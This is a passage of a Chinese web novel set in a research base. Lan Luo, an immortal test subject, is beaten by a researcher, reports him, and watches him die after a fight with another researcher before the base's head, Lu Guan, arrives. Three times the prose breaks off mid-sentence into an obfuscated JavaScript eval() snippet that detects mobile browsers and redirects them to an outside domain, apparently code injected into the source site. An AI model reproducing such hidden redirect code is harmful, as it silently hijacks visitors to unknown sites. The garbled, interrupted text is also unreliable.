画面一转,另一个火柴人突然出现,开始争夺它,两人把红色的东西撕扯成两瓣,分别吃了下去。 兰落的心脏开始微弱跳动,似乎出于本能,她立马明白了那颗红彤彤的东西,就是自己的心脏。 ——准确来说,是自己和兰升的心脏。 原来不死之心,曾经是一个整体吗? “合二为一,合残为整,不死不休。” 合二为一? “合二为一……合二……为一……” “扑通——” 兰落的心脏恢复了正常的跳动,后脑血液凝固,断裂的肋骨开始缓慢自我修复。 她躺在地上,像一具安静的尸体。 怪不得…… 怪不得她从小就看兰升不顺眼,怪不得她面对兰升时总是有强烈的进攻欲,原来如此。 原来她的心脏,一直在渴望残缺的另一半。 那兰升呢? 有没有很多个瞬间,会突然想要撕裂她的胸腔,挖出她的心脏? “哈哈哈哈哈哈哈哈……”兰落躺在血堆里,笑得浑身颤抖,和初入基地的温顺少女判若两人。 等恢复了一些力气,能够勉强站起身了,兰落就颤颤巍巍地走到衣柜边,从一模一样的几件制服里挑了套干净的换上,用梳子随便拢了一下头发,盖住后脑的伤痕,双手插兜晃到了走廊上。 她漫无目的地晃到了大厅,在大厅最显眼的位置茫然地左顾右盼,宽大的制服和嘴角的淤青让她看上去像迷路的病弱少女,毫无攻击性。 面包怪正在不远处,背对着她捣鼓电子屏幕,身形挺拔,神色认真,专注程度堪比陆观在场。 兰落状似无意地抬头了眼,密集的机械眼正在勤勤恳恳地工作。 她要收回之前的想法,和花子比起来,面包怪的演技似乎略胜一筹。 兰落故意加重了脚步,一瘸一拐地往前走。 面包怪听到脚步声,皱眉转身:“这个时间任何人都不能在外……” “……你为什么出来!” 看见是兰落,面包怪加重语气,隐晦地瞪她一眼。 兰落好像被吓到了,浑身轻颤,双手护在胸前:“对不起……” 她一边道歉一边一瘸一拐地后退:“我只是想……” “站住!”面包怪快步上前,想要制止她。 兰落惊恐地瞪大双眼,控制不住后退。 “哎!” “砰!” “啊!”瘦弱的女孩狠狠撞在金属餐车上,整个上半身扑倒在餐车扶手上,乱糟糟的头发盖住了上面的食物又飞快甩开。 餐车滑轮滚动,兰落失去支撑,重重跌倒在地。 面包怪站在两步开外的地方,脸上的怒火都快掩饰不住:“不长眼!” 兰落看见他紧握的拳头,浑身都瑟缩了一下,细细的胳膊撑在地上,露出上面的淤青:“对不起,我只是想出来找找有没有伤药。” 面包怪瞄了一眼机械眼:“做手术受伤无可避免,你现在不能用药。” 他特意强调了“做手术”,似乎在暗示兰落不准把伤口的来源说出来。 兰落会意,小声解释:“是,我知道了。我刚刚不是故意的,是伤口太疼,站不稳了。” 面包怪的拳头松了又握。 “您大人有大量,”兰落站起身,小心翼翼往后退,“别跟我计较了。” 面包怪拳头捏得紧紧的,咬牙切齿:“嗯,回去吧,好好休息。” 兰落闻言,像得到赦免一般松了一口气,拖着伤腿原路返回。 转角处,她似乎没力气了,扶着墙壁缓了缓。 她的余光里,面包怪在餐车上挑挑拣拣,把沾了血的面包扔掉了。 可惜了,兰落垂下眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766445|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不敢多留,慢慢朝前走,偷偷观察着面包怪,他似乎被恶心到了,竟然把剩下的面包全部丢掉,只拿起了边上的一盒牛奶。 真浪费。 兰落不再多看,低着头走路。 没走几步,她的视线里就出现了一双一尘不染的鞋子。 兰落的视线顺着鞋子往上,是祝见尘。 他站在不远处,白大褂依旧敞开,露出里面的衬衫。 兰落心中一跳,不动声色发问:“你怎么在这儿?他们说现在不能外出。” “我不听他们的。”祝见尘嗓音有些飘忽,上半身藏在阴影里,让人看不清神色。 这还是兰落第一次听到他老实回答问题。 “哦。”她不想多留,一瘸一拐地打算绕过祝见尘。 祝见尘一言不发,像个雕塑一样看着她步履蹒跚的样子。 “不疼吗?” 两人擦肩时,“雕塑”突然隔着衣服握住兰落的右臂,幽幽发问。 兰落吓了一跳:“你又忘了我的异能了吧。” 祝见尘松开她的手臂,倚着墙说:“嗯。抱歉,忘了。” 不对劲,他现在好正常…… 兰落心里忍不住涌起怀疑,但她身体还在修复中,已经没精力管祝见尘了。 反正他脑子本来就有毛病,随便他吧。 兰落没理他,尽量自然地往回走,悄悄掀开袖子看了一眼。 刚刚祝见尘握住的地方刚好是一处伤口,防人之心不可无,如果伤口有不对劲的地方,她回房之后要想办法把伤口重新撕开。 没办法,他太正常了,正常得不正常,她没办法不怀疑他。 “对了,” 祝见尘突然叫住她:“我很好奇,既然你有不死异能,那假设你中了毒,毒药是不是对你无效?还是说你会先毒发再愈合?” 兰落扣了扣手臂上的伤口:“你还挺有好奇心的,难道给我下毒了?” 祝见尘耸耸肩,跟上她:“怎么会?不要把人想得那么坏,我对你很好了吧。” 兰落不置可否,咬着牙继续走。 烦死了,这人阴魂不散的,害她没办法放松。 “好无聊,”祝见尘双手插兜,用同样的龟速跟在她身后,“我来给你检查身体吧。” “不用。”兰落皱眉,努力加快速度。 检查有屁用,又不肯给她药。 祝见尘像聋了一样:“不行啊,职责所在,不然叶飞告状怎么办?我最讨厌告状的人了。” 叶飞就是那个趾高气昂的女研究员,据兰落观察,她在基地的地位应该是最高的。 虽然大家都不太服。 “好了,不许动!” 兰落身后传来祝见尘兴致勃勃的声音。 一把冰冷的器械抵在了她的后脑,兰落心里警铃大作,缓缓举起双手,窝窝囊囊的:“我没动。” 祝见尘手指微动。 “滴!您的体温是,39.2℃。” 电子女声响起,兰落听到后怔了怔,摸上自己的额头。 好像确实有点烫,怪不得一直很没力气。 体温枪拨开了她后脑的发丝,上面狰狞的血洞藏也藏不住了。 “这是什么?” 兰落把头发藏回去:“没什么。” 祝见尘没说话,手指一翻体温枪就消失了。 “走!我们去找叶飞告状。” 他好像很激动,笑嘻嘻地说完就扯着兰落朝另一个方向走去。 ……不是最讨厌告状的人吗? 不对—— 告什么状啊? 他到底知道多少啊? 5. 上报 兰落被祝见尘扯着,跌跌撞撞地朝叶飞的休息室走。 要说他关心兰落吧,扯着她的力气可不小,兰落几乎半被拖着往前走。 要说他不关心兰落吧,又偏要大张旗鼓去告状,替她讨公道。 “你是不是唯恐天下不乱?” 兰落想了半天,得出这个结论。 给叶飞增加工作,给面包怪找麻烦,这就是祝见尘的目的吧? 很无聊。 “砰!” 祝见尘没回答,一脚踹上了面前的金属门。 门板纹丝不动,兰落没忍住笑了一声。 “不许笑。”祝见尘好像没觉得多丢人,随口警告了一句就老老实实按门铃了。 叶飞出来得很快,眼镜架在脑门儿上,白大褂一丝不苟。 “什么事?”她扫了一眼兰落,语气压着不耐烦。 祝见尘把兰落朝叶飞面前推:“自己看。” 兰落安安静静站着,下垂的眼睛露出一丝不安和局促。 她的样子太正常,叶飞没看出什么问题,皱着眉头不耐烦地重复:“到底什么事,说。” 祝见尘好像听不出叶飞的烦躁,扳着兰落的肩膀把她转了个圈,拨开她后脑勺的头发对准叶飞:“看见没?这么大个窟窿,要是脑子小点,都能直接掉出来了。” 祝见尘一边说一边啧啧称奇,语气里竟然有几分遗憾。 兰落正对着他的胸膛,仗着没人看得见自己,无声骂了句脏话,低着头翻白眼。 只是这幅垂头丧气的模样落在外人眼里,就成了被欺凌的柔弱。 叶飞正了正神色,凑近看她的伤口,又撸起她的袖子粗略看了两眼:“怎么弄的?” “我怎么知道?”祝见尘退了两步,观察着兰落的神色,“我半路看她没精打采的,随便给她量了个体温,就发现她脑子烂了。” 兰落怯怯地冲他笑:“您真是神医。” “去开检查室,”叶飞把眼镜放下来,“给她做个全身检查,我去读机械眼。” “遵命。”祝见尘没什么诚意地说。 叶飞已经走了几步,闻言回头看他一眼,眼神充满怀疑:“你最好没安坏心。” 祝见尘不理她,弯腰把脸凑到兰落跟前,非常绅士地伸出一只手:“请吧,可怜的兰落患者。” 兰落也不理他,绕过祝见尘循着记忆往检查室走,心里烦躁得要命。 她不是很想把这件事闹大,面包怪是研究员,她只是实验品,想从明面上讨公道简直是异想天开,她只能偷偷下手。 闹大了,对她来说很不利。 兰落躺在仪器里,皱着眉头看祝见尘在隔间外面一脸凝重地操作机器。 他不会连检查仪都不会用吧? 陆观就这么缺钱,非要找这种人滥竽充数? 兰落躺了好一会儿,祝见尘的声音才传进来:“好了。” 她刚要起身,祝见尘又开口了:“要不……你先躺着吧。” “不然我会觉得一具尸体站起来了。” 兰落摸了摸自己的后脑勺:“有这么严重?” 她自己感觉不出来,怀疑祝见尘只是单纯爱夸张罢了。 他刚才还说她脑子要掉出来了呢。 “感觉可以像死鱼一样把嘴和脑袋串起来。” 看吧,又开始夸大其词了。 兰落不理他,坐在检查床上,盘着腿恢复精力。 祝见尘也不烦她了,坐在隔间外写写画画。 这幅场景莫名和第一次见面时重合了,兰落顶着后脑勺的洞,盯着金属门。 如果这时候叶飞从门口进来,骂祝见尘是野种的话,这幅画面应该会更舒心。 门确实开了,叶飞进来了,捧着一块电子屏眉头紧锁。 “我会上报。”她没看在场的两个人,在屏幕上戳戳点点,没头没脑说了一句。 祝见尘看了一眼兰落:“上报什么?” 兰落心脏抽动两下,无意识重复:“上报什么?” 叶飞看她一样,眉头松了松:“你虽然是实验品,但只需要配合必要的实验研究,任何人都没有权力欺负你。” 兰落面露思索,茫然地点了点头。 叶飞补充:“不用担心,这是陆先生亲口说过的话,这件事上报后一定会严肃处理,你先说说你的情况。” 兰落知道叶飞想多了,她不是在担心处理结果,只是在回忆自己有没有露出破绽。 面包怪只喝了牛奶,把面包扔哪去了来着? 他们会不会谨慎到连面包都要检查一遍? 应该……不会吧。 “傻了啊?”祝见尘敲了敲玻璃,“姓陆的要给你做主呢,快点有怨报怨有仇报仇吧。” 兰落低头:“他要抓我做实验,祝见尘觉得我暂时不适合做实验,和他起了争执。后来他就来到我的房间把我打了一顿,说明天要把我剖了。” “我太……”兰落顿了顿,“我伤得太重了,害怕来不及恢复,就想出门找点药,恰好遇到祝见尘,他发现了我的伤口,就带我来找你了。” 她差点脱口而出“我太疼了”,幸好脑子反应过来了,不然就是演技滑铁卢。 叶飞用电子屏读取了兰落的身体检查数据,眉头越拧越紧。 祝见尘撑着下巴坐在一边,事不关己高高挂起,甚至有心情反驳兰落:“你怎么一个劲儿把我供出来?” 兰落没理他,沉浸在自己的演技里:“叶教授,我已经很配合你们的工作了,既然不能给我用药,起码要给我一些恢复的时间吧?不然我真的不知道该怎么挺下去。” “我和我的哥哥虽然同有异能,但我和他不一样,他的能力比我强很多,身体素质好,愈合速度快,而我只不过是不会痛而已,真的没那么大的本事频繁进手术室。” 兰落说着说着,甚至带上了一点泣音,俨然是个可怜无助的柔弱小白鼠。 叶飞欲言又止,最后只是扶了扶眼镜,什么也没说。 祝见尘隔着玻璃看她,很捧场地说:“哇,那为什么不抓你哥来研究?” 兰落本来已经演完了,没想到有人接戏,清了清嗓子找回虚弱的声音:“因为我父母舍不得他,反正我不会疼,受伤了也没有关系……” “行了,”叶飞似乎忍无可忍,“先出来,我已经上报了,明天就会有专人处理。” “至于药,”她不看兰落,低头敲着电子屏,“上面不让你用,你再忍忍吧。” 兰落慢吞吞下床,扶着玻璃准备出去。 “咚!” 大门突然一声巨响,面包怪喘着粗气站在门口,眼神凶光毕露。 他的左手捏着一盒空了的牛奶,纸质的盒子竟然在逐渐石化。 面包怪的异能? 兰落和祝见尘被他发癫的状态吓了一跳,隔着玻璃对视一眼,目光里充斥着对对方的谴责。 兰落的眼睛里写着:“要不是你乱告状,至于沾上这傻叉吗?” 祝见尘的眼睛里写着:“要不是为了帮你,至于惹上这麻烦吗?” 两人收回视线,各自打量着面包怪。 兰落庆幸自己还躲在玻璃隔间内,比他们安全一点。 她的视线频频落在牛奶盒上,观察着盒子的石化状态。 祝见尘好像有异能,面包怪肯定有异能,这里的实验体也有异能,比如花子,速度非常快。 那这里干脆直接叫异能研究所算了,省的像她一样初来乍到的人看不明白他们的实验重心。 兰落不动声色往后退了几步,力求在不引人注目的情况下离他们最远,一边退一边观察叶飞。 她好像一点都不在意,还在捣鼓电子屏。 “叶飞!”面包怪怒喝,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766446|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于吗!这么点事就要告状!” “天天说老子狗腿,我看你才是最忠心的那条狗!” 叶飞放下电子屏,扶了扶眼镜:“你也知道怕?欺负实验体的时候怎么不怕?” “为了一个破实验体惊动上面,对谁都没有好处!别忘了,陆先生急着要结果,像你们一样慢吞吞的,什么时候能给出满意的结果?我也是在为实验室分忧!” 面包怪手里的牛奶盒已经彻底变成了一团石头,他恶狠狠地示弱:“这样,我保证再也不管这个实验体,这次的事情你们就当不知道,大家各退一步,以后井水不犯河水!” 叶飞勾唇:“好可惜,晚了。” “你最爱摇尾巴的陆先生,已经收到你殴打他最看重的实验体的视频了哦。”她难得笑起来。 面包怪闻言瞳孔放大,牙齿咬得咯吱响:“叶飞!你个贱人!贱人!” 他整张脸都红了,脖子更是粗了一圈,青筋绕着脖子一跳一跳的。 兰落敏锐地注意到他蓄力的手臂,小心翼翼继续往后退,几乎把自己藏在了机器后面。 祝见尘原本倚着墙抱臂看戏,余光一直注视着她,看她躲得远远的,无声嘲笑:“怂。” 兰落没理他,安安静静躲着。 “有仪器的地方禁止打斗,”叶飞看了一眼机械眼,“你也不想罪上加罪吧。” 面包怪哼哧哼哧喘着粗气,嘴唇涨成紫红的,像中了毒似的。 “我去你爹的罪!几个畜生,打就打了!我他爹的连你一起打!” 他怒吼一声,抡圆了胳膊把石化的牛奶盒直直朝着叶飞扔去。 兰落心脏怦怦跳,开始兴奋起来了,目不转睛地盯着叶飞,想看看她的异能是什么。 “唰!” “啪!” 细长的鞭子精准地击碎了那一团石头,留下几道残影。 碎石啪嗒落地,兰落睁大双眼,没想到叶飞竟然竟然能从一丝不苟的白大褂里掏出那么长一根鞭子。 更没想到她没用异能,纯靠武力。 “废物,”叶飞站得笔直,“真以为嫁接来的能力就是自己的了。” 嫁接? 异能还可以嫁接? 那被用来嫁接的异能者,嫁接后还有异能吗? 兰落思考着,一时没注意到面包怪是什么时候冲到叶飞面前的。 “你一个没有异能的废物!”他双目爆红,鼻腔流出血丝,“去死!” 叶飞一个后撤,利落地躲开面包怪。 祝见尘刚刚还在说兰落怂,这时已经不知道跑哪去了,兰落扫了两眼,都没能发现他。 兰落正找着人,肩膀突然被拍了一下:“诶,你说谁能赢……” 她心脏几乎停止跳动,下意识一个肘击。 “嗷!好痛!” 祝见尘的嚎叫在她身后响起。 兰落大吃一惊:“你怎么进来的?!” “嘶……”祝见尘揉着胸口,“偷偷进来的。” 这不是偷偷不偷偷的问题吧? 隔间门被叶飞和面包怪堵的严严实实,难道他是走到他们中间,让两个人先停一下,等他开门进来了再继续吵? “你……” “砰!” 兰落刚想问他的异能,隔间外就出了状况。 叶飞一鞭子抽在了面包怪的胸口,他的白大褂顿时裂开,胸膛出现一条血红的鞭痕。 面包怪被打得后退好几步,撞在墙上,哼哧哼哧喘着粗气,嘴角溢出血丝。 “这么厉害?”祝见尘小声说。 兰落抠着自己的伤口,一眨不眨盯着面包怪。 “三……” “二……” 兰落在心中默数:“一。” “噗——!” 面包怪突然喷出一口血,瞪着血红的眼珠倒在了地上。 6. 治疗 面包怪趴在地上,胸口的鞭痕渗出暗色的血液,双目圆睁,通红的眼珠子正对着兰落和祝见尘。 “死了?” 祝见尘用气音问,整个人都朝兰落身后缩了缩。 兰落缓缓走上前,语气听不出什么波澜:“不知道,可能吧。” 隔间外的叶飞低头看了看手里的鞭子,皱着眉头把细鞭卷了起来收进口袋。 兰落推开金属门,叶飞听到动静转头看向她,还有她身后的祝见尘。 “带她去治疗仓吧,用我的份额。”叶飞越过兰落,对着祝见尘说。 祝见尘耸耸肩:“他怎么办?死了没?” 叶飞蹲下身子探了探:“好像没气了。” 祝见尘闻言,也凑上去踢了踢他的脑袋,像踢弹簧似的:“还没硬呢。” 兰落默不作声看着他们旁若无人的表演,垂着头装不存在。 祝见尘踢完面包怪,嫌弃地后退两步,脚下咔嚓踩到了一颗小石子。 兰落顺着他的视线看过去,那是面包怪手里的牛奶盒石化后的碎片,已经成了看不出面貌的碎石。 祝见尘看了兰落一眼:“怎么,好奇了?” 兰落仍旧低着头:“这是嫁接的能力?” “好像是吧,”祝见尘毫不在意地把碎石碾得更碎,“他以前剖了不少石化异能,应该是情有独钟。” 祝见尘说完,甚至还冷笑了两声。 像个神经病。 兰落不再理他,悄悄看面包怪的死状。 “你们确定他死了吗?”她颤声问,“不需要抢救一下吗?” 叶飞一直在通讯器上捣鼓着,闻言不耐烦地说:“不用你管。” 说完就更不耐烦地吩咐祝见尘:“祝……研究员,立即带她离开。” “走呗。”祝见尘虚虚勾着兰落的后领,假装要强行带她离开。 兰落脚步轻挪,顺从地跟着祝见尘走了几步。 空气格外安静,只有两道沙沙的脚步声在以同样的频率响起。 走至门口,兰落突然抬手扒住门框:“这件事你要怎么处理?” 叶飞正反手撑着桌子,盯着地上的尸体发呆,听到兰落的话头也不抬:“已经上报了,放心,上面惩罚不了死人,但也许会给你相应的补偿,不会亏待你。” 她在说兰落挨打的事情。 “我是问,”兰落半张脸藏在门外,“他死了这件事,会怎么处理?” “扣工资喽。”祝见尘倚着门框,吊儿郎当地回答。 兰落没理他,一双水润的眼睛在叶飞和尸体之间怯怯地回转。 叶飞直起身子,平淡开口:“如实上报,悉听尊便。” 兰落不说话了,安静地退出去,跟着祝见尘来到治疗仓,她还是第一次知道基地有这种好东西。 治疗仓问世很多年了,但由于体积过大,价格昂贵,维护成本高,一般都是医疗机构或者集团采购,家庭和个人很少会特意购买,所以兰落很少能用的上治疗仓。 她对治疗仓的唯一一次体验,还是小时候被压着给兰升输血最后当场昏死,不得不进入治疗仓。 没想到现在进治疗仓的原因更窝囊了。 兰落心里自嘲,乖乖躺进治疗仓,放松地闭上了眼睛。 虽然她也能慢慢自愈,但能借助外力为什么要靠自己? 再说了,这身伤也是基地带来的,是基地欠她的,迟早都要还。 只是,好像有点对不起叶飞了。 如果不是她主动把份额给自己,估计她现在还要躺在房间不知道猴年马月才能恢复呢。 但那又如何呢? 兰落冷漠地拉平嘴角。 叶飞随口送出来的治疗仓份额,对她来说,却是丢掉大半条命才能赢来的施舍。 兰升……你真该来体验一下这种日子。 想到兰升,兰落心里又是一阵暴躁。 她恶狠狠地掐着自己的大腿,抑制着狂跳的心脏。 “哎哎哎,”祝见尘突然凑过来敲了敲治疗仓的玻璃,“便宜不是这么占的啊。” “就算你想多体验体验治疗仓,也犯不着自残吧,得不偿失啊兰落小姐。” 他趴在玻璃上唠唠叨叨的:“你想想,你大腿本来就是好的,你偏要先把它掐坏,再让治疗仓治好它,这是不是南辕北辙东辕西辙?” 兰落被他说得心烦,一甩手不再掐自己,把双手交叠在胸口,用行动告诉他自己没有在自残。 祝见尘不说话了,支起身子,一手撑着下巴,一手盖在玻璃上,静静坐在治疗仓旁边。 他的手铺在玻璃上,刚好挡住了兰落的视线,她抬眼看见的只有他的掌心和手肘。 她嗅着治疗仓里微湿微凉的气体,一边休息一边无聊地给他看手相。 事业线很乱,看来这个关系户做的也不太成功。 兰落渐渐把兰升抛在了脑后,周围的光线不知何时暗了下来,她活跃太久的大脑终于回归宁静,陷入久违的安眠。 等再次醒来,兰落整个人就像重获新生一般清醒有力气。 她转了转手腕,又动了动腿,各处都很灵活,一点也没有昨天动弹艰难的感觉。 基地的治疗仓还挺好用的,怎么就是舍不得给她用呢。 兰落打个哈欠,在心底鄙夷陆观的黑心和小气,把注意力转向治疗仓外。 治疗仓的玻璃上趴着一个人影,人影的脸埋在了臂弯里,只有乱糟糟的头发垂在玻璃上,随着他的呼吸一动一动的。 兰落看着这头微微泛着棕色的短发就认出了祝见尘,倒不是她多熟悉他,只是在一众严谨不苟的研究员里,他散漫的头发太过引人注目,想不认识都难。 她对着玻璃上祝见尘耳朵的位置猛敲了几下,直到把人敲醒。 祝见尘捂着耳朵一脸茫然地趴在玻璃上,和不耐烦的兰落隔空对视。 “怎么了?”他把身子抬起一点,没让自己的五官贴在玻璃上。 兰落由衷感恩他没凑太近,压着不耐烦开口:“开门,让我出去。” 祝见尘听完,不知道是不是脑子还没清醒过来,愣愣地看了她好几秒,然后才后知后觉地嗯了一声,乖乖找开门键。 他太正常了,这太不正常了。 兰落觉得他的脑子可能偶尔会出现一下,所以他才会间歇性变得正常,等脑子没了就继续不正常了。 治疗仓会释放修复液体,她从治疗仓里起来的时候,衣服已经湿哒哒的了,连发梢都在滴水。 “你要不要先洗个澡?”祝见尘不知从哪拿了个干毛巾,轻手轻脚裹在她脑袋上。 兰落缩了一下,自己接过毛巾:“我回房间洗。” “哦。” 兰落一边擦头发一边往外走,身后有祝见尘哒哒的脚步声,可能是顺路。 她没多在意,慢悠悠来到大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766447|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想从大厅里穿过去。 一路上都没什么人,整个基地安静得可怕,兰落心里涌出一丝不好的感觉,回头看到祝见尘不远不近的身影才稍微安心一点。 至少还有活人。 总算走到了岔路尽头,再往前一步就是硕大的大厅了,那里本来应该有面包怪手忙脚乱的身影。 兰落在岔路尽头停下脚步,面无表情地看着大厅里的景象。 以叶飞为首的研究员又穿上了全副武装的防护服,静悄悄站在大厅两侧。 而大厅中央的沙发上,坐着一个西装革履的男人。 “陆先生。” 兰落敷衍地问候了一句。 陆观翘着二郎腿坐在原位,语气温和:“还以为你已经把我忘了呢。” 兰落扯起一个笑:“怎么会。” “过来,兰落。”陆观伸出一只手,对着她勾了勾。 兰落清楚地看见他的手指上有一道细细的伤口,鲜红鲜红的,似乎很新鲜。 她垂着头走过去,离陆观越来越近。 身旁不知道哪一个研究员突然“啧”了一声,用手势暗示她停下,被面罩覆盖的脸上写着急切。 兰落知道这是嫌弃自己离陆观太近了,浑身治疗仓的脏水,小心沾到陆先生身上。 “还没洗澡,怕脏了您的周围。”兰落在离陆观几步远的地方停住脚步,小声解释。 陆观抬眸看了一眼发出声音的研究员,没说什么,把翘着的腿放下,继续朝着兰落伸手。 “怕什么,过来。” 兰落垂头看着他苍白修长的手指,和中指上那道刺眼的伤口,很懂事地问:“您的手怎么了?” “啊,”陆观挑挑眉,“看看,你比他们聪明多了,这么快就发现了。” 他的语气里隐隐透露着一丝欣慰,兰落配合地扬起一个不好意思的笑,心里已经把他分尸了一万次。 死手在她眼前晃悠那么久,不就是为了让她发现伤口吗? “所以啊,”陆观摸了摸自己的伤口,“小兰落,你可要快点配合研究,这样,大家就不会为这些小伤口烦恼了对不对?” 他淡笑着盯着兰落,一副心怀大爱的样子。 兰落心里烦躁,面上却不显,乖乖认怂:“是,我会的。” “好孩子。” 陆观敷衍地夸奖她,接着转向叶飞等人的方向:“事情我都了解了,他咎由自取,随意对我的实验体动手,死了也好,我不追究。” 不追究……兰落悄悄松了一口气。 “但是,”他揉了揉太阳穴,“叶飞,你管教不力,治下不严,该罚。” “这还是我第一次因为研究员斗殴事件亲自出马呢,叶飞,你们真是好样的。” 叶飞的声音透过面罩闷闷的:“随意处置,悉听尊便。” 真是个犟种,兰落想。 如果是花子在这里,肯定会油嘴滑舌替自己辩解,争取减少惩罚。 大厅在叶飞话音落地后陷入一阵沉默,陆观也不说话,敲着手指不知道在想什么。 兰落打了个哆嗦,她身上全是湿哒哒的水渍,大厅温度又低得可怕,不冷就怪了。 陆观没注意到这种细节,倒是叶飞隐晦地看了她一眼。 兰落的手腕上传来一阵暖意。 她有些惊讶地回头,是祝见尘,他伸手圈住了自己的手腕。 “走吧,洗澡去。” 7. 哥俩 祝见尘的声音恢复了往常的吊儿郎当,细听却能发现藏不住的疲惫感。 趴在治疗仓上睡了一夜,能不疲惫吗? 陆观好像回过神了,微微皱眉:“你倒是舍得出现了。” 祝见尘没理他,指尖无意识摩挲兰落的手腕。 “防护服呢?”陆观追问。 祝见尘散漫开口:“不知道您大驾光临,忘记穿了。” 陆观靠着椅背:“那看来,叶飞要罪加一等了。” 叶飞不言不语不分辩,似乎说的不是自己。 祝见尘转身欲走:“我是什么人你不清楚吗?就算是您陆先生亲自来,我也不见得服管,少迁怒别人了。” “也是,”陆观点点头,“野生的,总归是不懂事。” 兰落感觉自己的手腕被用力捏住了,但只有一瞬。 原来他也会在意这个吗? 兰落偷偷瞄了祝见尘一眼,没从他的脸上看出什么不对劲。 “是啊,”祝见尘越过兰落,对着沙发上的陆观开口,“总好过家养的,体弱多病,弱柳扶风,连门都不敢出。” “哈。” 陆观站了起来,发出一声意味不明的笑。 兰落看着他越走越近了,心里有点无奈,她不想掺和到他们的家务事里,现在夹在两个人中间真的很尴尬。 祝见尘抓得很松,兰落悄悄一动就挣脱了,捂着手腕慢慢后退,给了他一个“你们慢慢玩”的眼色。 祝见尘看了一眼她的手腕,直接开口:“抱歉,你先回去洗澡。” 谢谢哈,要不是他们哥俩,她澡都洗一半了好不好? 兰落刚准备厚着脸皮走人,手腕就再次被握住了。 这次是陆观。 “怎么回事?被他拽疼了?” 他用两根手指轻轻拎起兰落的手腕,抬起来看了又看,没什么感情地说:“都红了,野小子不知轻重。” 兰落放下手,这次是真有些烦了,垂着头语速飞快:“没事,我又不会疼,不然也不会出现在这里了不是吗?” 陆观捻了捻手指,捏起毛巾一角盖在兰落半湿的头发上,松垮的毛巾几乎遮住她的大半张脸。 “这是有脾气了,”陆观隔着毛巾把手放在她的头顶轻轻揉了揉,“放心吧,我会给你开启治疗仓使用资格,以后基地的治疗仓随便你用,治疗药也是,都给你用最好的。” “这次是意外,以后不会发生了,对不对?” 他微微弯腰,注视着兰落半垂的眸子,眼里有假惺惺的笑意。 兰落把视线偏到一边,盯着祝见尘的脚下:“嗯。” 陆观听到兰落堵着气的回答,轻笑一声没有计较,直起身子重复:“你们说呢,对不对?” “对!” “是,明白了。” “没错!” “明白!” 此起彼伏的应和声在周围响起,这些全副武装的研究员都没了以往的傲气,态度谄媚又热情。 除了叶飞,她还是闷不吭声的,像个雕塑。 怪不得这种时候都不让实验体外出,要是被花子他们看到这些“长官”们点头哈腰的样子,以后哪还有半点威严? 兰落不耐烦地想着,无聊地盯着祝见尘的鞋尖,他的鞋子似乎也不符合着装要求? 视线里的鞋子动了动,兰落看着祝见尘在一众附和声里旁若无人地转身走了,也没想着把她也一块带走。 她抬头看着祝见尘挺拔的背影,还真有点羡慕了,反观自己,还被陆观控制在手心之中动弹不得。 迟早让他付出代价。 兰落心脏怦怦两声,暴躁的情绪又开始在心底翻滚。 简称——无能狂怒。 “叶飞,”陆观慢悠悠擦着兰落的头发,“你有意见?” 叶飞依旧目视前方:“没有。” “最好是这样。” 陆观似乎擦累了,松开兰落头上的毛巾,扯出手帕擦了擦手,这才不紧不慢坐下:“那这样吧,这里不需要你了,让张烈接手,你去二号报道吧。” “是。”叶飞还是没什么意见,飞快应答,兰落却从她的语气里听出浓浓的敷衍。 “哦,对了,”陆观补充,“到了二号你就不是组长了,记得服从安排,学习治下。” “是。”叶飞回答。 兰落看了她一眼,在全副武装的面罩下看不清她的表情,只能从她笔直的身姿看出她的高傲。 很……表里如一的人。 “张烈出列,其他人散了吧。” 陆观揉了揉太阳穴,叹一口气挥挥手。 名为张烈的男人激动难耐地来到陆观面前,胸膛抬得高高的,头颈却温顺地垂下去,像一条驯养得当的狗。 张烈……不知道这条狗爱不爱咬人,兰落来来回回扫视了他好几遍,也没什么印象。 在基地,实验体很少会接触到除了负责自己的研究员之外的人,所以那次面包怪来捉她做实验才会那么惹人怀疑。 “别看了,”叶飞站在兰落面前居高临下看着她,声音闷在面罩里,“他在等你呢。” 兰落顺着她指的方向看过去,果然看到走廊尽头有个人影正散漫地倚在墙壁上。 是祝见尘,他的身影很好认,既不过分壮硕也不过分清瘦,高挑挺拔,但总像没骨头似的到处倚着。 兰落跟叶飞道了谢,随手擦着头发朝祝见尘走过去。 她摸了摸自己的发梢,被这么一折腾已经干了一大半了,估计治疗液的结晶已经扒在头皮上,等下要好好洗一洗。 祝见尘手抄口袋注视着兰落,一直到兰落越过他都没开口说话。 兰落挑挑眉,不是等她吗? “你……” “给你……” 两人同时开口,同时愣了一下。 “给我什么?” 兰落先反应过来,挠了挠头发问他。 